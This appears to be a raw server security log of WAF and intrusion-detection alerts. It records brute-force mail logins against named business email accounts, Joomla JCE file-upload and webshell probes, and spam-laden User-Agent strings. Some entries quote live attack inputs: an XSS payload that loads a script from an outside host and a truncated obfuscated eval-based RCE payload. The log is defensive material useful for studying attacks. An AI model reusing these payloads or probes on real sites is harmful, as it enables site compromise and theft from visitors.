abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-16 05:04:44 dovecot_login authenticator failed for H=([117.254.119.147]) [203.192.211.180]:43348: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-16 05:05:09 dovecot_login authenticator failed for H=([68.71.240.212]) [119.152.102.54]:54521: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-16 05:05:16 dovecot_login authenticator failed for H=([70.166.167.50]) [196.0.113.110]:46002: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.102.230.82
country_id: 2264397
description:
2026-07-16 05:05:35 dovecot_login authenticator failed for H=([14.97.77.182]) [93.102.230.82]:58320: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-16 05:05:39 dovecot_login authenticator failed for H=(host-96-30-129-165.public.eastlink.ca) [128.185.33.227]:51058: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.151.172
country_id: 337996
description:
2026-07-16 05:08:43 dovecot_login authenticator failed for H=([65.20.138.46]) [196.191.151.172]:43168: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-16 05:09:00 dovecot_login authenticator failed for H=(2-55-88-51.orange.net.il) [13.68.214.34]:33546: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77469916
abuser: 103.121.102.76
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceqdzeq8ov.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.121.102.76
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:104597||Sizes:55||Combined size:55||User:alnay||WPU:||Filename:htb6ihre.php||Scanned:/tmp//20260716-051139-algas0ccyBNTaCal_f_o1AAAAMo-file-ccOKZh||SC:/home/alnay/public_html/index.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 103.121.102.76
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.29||T:APACHE||MVN:ARGS:settings[customclass]||MV:HUXSSCHKvr22sf4k||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-16 05:16:04 dovecot_login authenticator failed for H=([147.148.205.252]) [185.15.82.135]:59464: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-16 05:15:11 dovecot_login authenticator failed for H=([118.45.101.159]) [182.95.61.82]:59994: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-16 05:15:15 dovecot_login authenticator failed for H=([74.119.144.57]) [184.57.39.170]:62218: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-16 05:15:38 dovecot_login authenticator failed for H=([192.111.130.1]) [103.83.23.169]:43834: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.107.179
country_id: 1835841
description:
2026-07-16 05:16:27 dovecot_login authenticator failed for H=([111.0.81.84]) [211.43.107.179]:35975: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.30.75
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/hotels-and-offices HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.9.53.196
country_id: 6252001
description:
2026-07-16 05:18:26 dovecot_login authenticator failed for H=([201.234.106.215]) [170.9.53.196]:34966: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-16 05:18:41 dovecot_login authenticator failed for H=([49.124.152.162]) [131.161.184.46]:60670: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-16 05:18:49 dovecot_login authenticator failed for H=([202.72.193.34]) [152.70.157.25]:58590: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-16 05:19:06 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se ([188.240.192.154]) [83.191.176.93]:47222: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.60
country_id: 1668284
description:
2026-07-16 05:20:28 dovecot_login authenticator failed for H=111-70-34-60.emome-ip.hinet.net ([82.162.56.186]) [111.70.34.60]:55851: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-16 05:20:30 dovecot_login authenticator failed for H=([121.1.120.2]) [103.206.131.33]:42467: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-16 05:20:38 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([92.84.21.186]) [80.223.163.253]:38192: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.106.127.66
country_id: 783754
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/metro-digital-media-won-the-best-performance-in-home-theatre-projector HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-16 05:23:49 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [65.20.211.96]:56265: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-16 05:24:04 dovecot_login authenticator failed for H=([67.201.33.12]) [103.163.44.10]:47016: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-16 05:24:25 dovecot_login authenticator failed for H=([195.158.14.232]) [195.222.43.138]:55518: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-07-16 05:24:50 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [23.30.11.253]:38935: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.152
country_id: 1668284
description:
2026-07-16 05:25:10 dovecot_login authenticator failed for H=110-25-112-152.adsl.fetnet.net ([184.170.245.145]) [110.25.112.152]:53349: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-07-16 05:25:32 dovecot_login authenticator failed for H=(customer-187-49-63-41.f1net.com.br) [101.13.5.30]:35644: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 179.65.193.176
country_id: 1643084
domain: sriganapathyent.in
description:
IM360 WAF: Track file upload for Infectors||RSV:8.29||T:APACHE||SC:/home/vrishenterprises/sriganapathyent.in/index.php||User:vrishenterprises||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.143.208.202
country_id: 6252001
description:
2026-07-16 05:26:40 dovecot_login authenticator failed for H=47-143-208-202.fdr01.blpk.ca.ip.frontiernet.net ([218.52.113.36]) [47.143.208.202]:37840: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 179.65.193.176
country_id: 1643084
domain: sriganapathyent.in
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:92317||Sizes:21||Combined size:21||User:vrishenterprises||WPU:||Filename:kc2yshym.txt||Scanned:/tmp//20260716-052640-algeOIfuhkso7RUEAvUr6AAAAUw-file-mIKKLM||SC:/home/vrishenterprises/sriganapathyent.in/index.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-16 05:26:57 dovecot_login authenticator failed for H=([218.206.136.24]) [196.188.93.169]:4104: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77469916
abuser: 185.213.83.27
country_id: 1643084
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcej7mqkn8v.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.192
country_id: 2287781
description:
2026-07-16 05:27:11 dovecot_login authenticator failed for H=([199.102.105.241]) [160.154.84.192]:62743: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: www.jaashsupplies.com
description:


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-hyderabad.html\">Hyderabad Call Girl service</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-16 05:32:40 dovecot_login authenticator failed for H=([67.201.39.9]) [182.78.86.62]:40878: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 207.127.94.142
country_id: 2661886
domain: www.metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.29||T:APACHE||RA:207.127.94.142||TA:207.127.94.142||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-16 05:47:48 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com (broadband-5-228-1-56.ip.moscow.rt.ru) [24.142.170.231]:54477: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-16 05:47:58 dovecot_login authenticator failed for H=([189.109.225.201]) [111.118.47.8]:38514: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.11
country_id: 1668284
description:
2026-07-16 05:48:34 dovecot_login authenticator failed for H=111-70-32-11.emome-ip.hinet.net ([49.124.131.245]) [111.70.32.11]:47699: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-16 05:49:57 dovecot_login authenticator failed for H=([178.178.222.50]) [210.123.87.143]:51342: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.240.192.154
country_id: 2510769
description:
2026-07-16 05:50:11 dovecot_login authenticator failed for H=(164.124.222.222.broad.lf.he.dynamic.163data.com.cn) [188.240.192.154]:60350: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.220.9.199
country_id: 6251999
domain: vrishenterprises.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/vrishenterprises/public_html/wp-content||


plugin: modsec
rule: 77469916
abuser: 37.122.149.28
country_id: 6251999
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a7640.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-16 05:51:22 dovecot_login authenticator failed for H=([196.191.151.172]) [218.156.93.202]:53498: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-16 05:51:40 dovecot_login authenticator failed for H=([182.90.248.108]) [211.116.107.222]:54317: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-16 05:53:16 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-16 05:54:35 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com (50.250.223.60.adsl-pool.sx.cn) [67.43.243.158]:41086: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.150.87.223
country_id: 1522867
description:
2026-07-16 05:55:07 dovecot_login authenticator failed for H=37.150.87.223.dynamic.telecom.kz ([49.124.149.26]) [37.150.87.223]:59024: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.72.102.106
country_id: 1269750
description:
2026-07-16 05:58:12 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [182.72.102.106]:37262: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-16 06:03:24 dovecot_login authenticator failed for H=([197.157.252.162]) [112.162.111.205]:33543: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.150.251
country_id: 1733045
description:
2026-07-16 06:04:06 dovecot_login authenticator failed for H=([49.124.151.55]) [49.124.150.251]:34530: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 140.235.168.61
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/slot-reviews/joker-millions\">penis enlargement surgery recovery time</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: jaashsupplies.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"data_0613613d\":\"33e6701153d763c1\",\"_response\":{\"_prefix\":\"var mosqp=[].slice.call(arguments,1)[0];var rdrzb=mosqp;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.104.225.201
country_id: 6252001
description:
2026-07-16 06:10:08 dovecot_login authenticator failed for H=([111.26.167.166]) [24.104.225.201]:46623: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.245.16
country_id: 1835841
description:
2026-07-16 06:10:32 dovecot_login authenticator failed for H=([174.75.211.217]) [220.80.245.16]:53670: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-16 06:12:44 dovecot_login authenticator failed for H=([184.185.2.1]) [218.156.8.97]:39912: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 220.133.203.204
country_id: 1668284
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4e3688946 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 202.181.25.161
country_id: 1819730
domain: alnayza.com
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.29||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script src=\"https://js.aacaw.com/fp/v1.min.js\"></script>||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-16 06:16:08 dovecot_login authenticator failed for H=([60.172.1.210]) [112.161.26.125]:35624: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-16 06:16:22 dovecot_login authenticator failed for H=([174.75.211.196]) [113.193.187.154]:47776: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.bankeela.com/lotto/350420/\">BANKEELA</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-16 06:18:16 dovecot_login authenticator failed for H=([49.125.201.90]) [182.78.87.2]:49450: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-16 06:18:22 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net ([190.104.254.94]) [71.235.27.139]:60206: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.215.90
country_id: 1269750
description:
2026-07-16 06:17:49 dovecot_login authenticator failed for H=([192.111.130.1]) [110.227.215.90]:55130: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-16 06:18:09 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th ([72.37.217.1]) [171.100.121.127]:55654: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-16 06:19:11 dovecot_login authenticator failed for H=([180.137.151.93]) [213.55.79.195]:52420: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-07-16 06:18:49 dovecot_login authenticator failed for H=([180.94.74.94]) [27.72.46.152]:52276: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-16 06:20:47 dovecot_login authenticator failed for H=(abts-north-dynamic-59.213.66.182.airtelbroadband.in) [117.205.2.250]:39184: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.217
country_id: 1733045
description:
2026-07-16 06:21:05 dovecot_login authenticator failed for H=(193.210.177.45.fronteirainternet.com.br) [49.124.149.217]:44144: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.162.94.114
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/our-clients HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-16 06:26:42 dovecot_login authenticator failed for H=([174.75.211.217]) [112.160.57.196]:47568: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-16 06:26:53 dovecot_login authenticator failed for H=([110.14.192.20]) [182.95.119.30]:45354: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-16 06:28:34 dovecot_login authenticator failed for H=([149.54.40.222]) [41.215.125.250]:50344: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-16 06:29:34 dovecot_login authenticator failed for H=([183.6.115.88]) [65.20.143.45]:44114: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-16 06:31:31 dovecot_login authenticator failed for H=([91.146.24.164]) [103.67.152.201]:43282: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-16 06:32:47 dovecot_login authenticator failed for H=([74.195.53.129]) [210.118.224.138]:51586: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-16 06:32:27 dovecot_login authenticator failed for H=(220-134-25-203.hinet-ip.hinet.net) [200.106.49.149]:54218: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.88.116.62
country_id: 1880251
description:
2026-07-16 06:32:58 dovecot_login authenticator failed for H=(www.nani.com.tw) [116.88.116.62]:62974: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.253.102.89
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c53710030 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-07-16 06:37:45 dovecot_login authenticator failed for H=(111-70-38-124.emome-ip.hinet.net) [182.76.107.16]:41610: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-16 06:38:27 dovecot_login authenticator failed for H=([192.252.216.83]) [205.209.67.3]:35060: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 206.80.249.105
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-16 06:38:02 dovecot_login authenticator failed for H=([192.252.210.237]) [14.38.177.105]:52576: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-16 06:40:45 dovecot_login authenticator failed for H=([218.92.251.198]) [182.95.217.202]:36250: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.118.232.13
country_id: 6252001
description:
2026-07-16 06:40:55 dovecot_login authenticator failed for H=ool-4576e80d.dyn.optonline.net ([49.124.149.213]) [69.118.232.13]:59543: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.250.66.4
country_id: 226074
description:
2026-07-16 06:41:36 dovecot_plain authenticator failed for H=(localhost) [196.250.66.4]:3080: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.252.32.108
country_id: 3489940
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/diy-products HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-16 06:43:53 dovecot_login authenticator failed for H=([153.35.192.98]) [103.90.27.83]:57126: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.56
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.bankeela.com/lotto/349363/\">UEFA</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.155
country_id: 1835841
description:
2026-07-16 06:44:11 dovecot_login authenticator failed for H=([49.124.149.47]) [121.131.220.155]:51146: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-16 06:45:38 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([83.220.245.109]) [79.136.8.69]:34442: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-16 06:45:55 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee (82-65-140-218.subs.proxad.net) [83.166.50.15]:54079: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-16 06:46:20 dovecot_login authenticator failed for H=([116.237.181.57]) [117.250.250.2]:37380: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-16 06:46:32 dovecot_login authenticator failed for H=([180.94.75.114]) [125.130.102.172]:55175: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.95.23.226
country_id: 1835841
description:
2026-07-16 06:47:04 dovecot_login authenticator failed for H=(mx-ll-223.204.180-222.dynamic.3bb.co.th) [115.95.23.226]:52525: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-16 06:47:18 dovecot_login authenticator failed for H=([70.166.167.48]) [220.77.214.59]:42362: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.8.102
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es50-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 103.104.22.154
country_id: 2635167
domain: globalgroupoman.com
description:
